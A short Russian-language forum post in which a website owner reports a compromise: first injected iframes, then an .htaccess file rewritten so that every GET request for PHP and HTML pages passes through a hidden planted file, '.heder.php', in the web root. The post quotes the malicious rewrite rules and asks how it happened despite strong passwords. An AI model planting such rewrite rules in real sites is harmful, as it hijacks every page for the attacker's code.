Сначала были банальные ифреймы…
но сейчас поменяли содержание .htaccess на следующее:
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.heder.php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) \.heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
И соответственно был залит файл .heder.php в корень директории…
Пароли у нас с троем вида HHs98yyg7AERga8gfd87R
Как такое могла произойти… ума не приложу…